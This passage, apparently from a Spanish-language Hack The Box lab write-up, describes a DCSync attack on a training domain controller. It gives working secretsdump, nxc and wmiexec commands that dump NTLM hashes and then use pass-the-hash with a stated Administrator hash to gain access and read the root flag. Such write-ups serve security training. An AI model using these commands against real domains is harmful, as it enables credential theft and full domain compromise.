Este permiso habilita al usuario a extraer los hashes NTLM de todos los usuarios del dominio, lo que facilita ataques como Pass-The-Hash, permitiendo el acceso a servicios y equipos sin necesidad de conocer las credenciales en texto plano de los usuarios del dominio, incluyendo a los usuarios que sean Domain Admins.

DCSync Attack (secretsdump)

Procederemos a realizar el ataque de DCSync Attack mediante la herramienta de secretsdump.

Verificamos que hemos logrado obtener todos los hashes NTLM de los usuarios del dominio, incluyendo las del usuario Administrator.

secretsdump.py -just-dc-ntlm htb.local/mrlky@10.10.10.103

Validaremos que podemos autenticarnos mediante Pass-The-Hash con el hash NTLM del usuario Administrator.

nxc smb 10.10.10.103 -u 'Administrator' -H 'f6b7160bfc91823792e0ac3a162c9267'

Procederemos a conectarnos al Domain Controller mediante la herramienta de wmiexec realizando Pass-The-Hash.

Verificamos del acceso correctamente y de la flag de root.txt.

wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267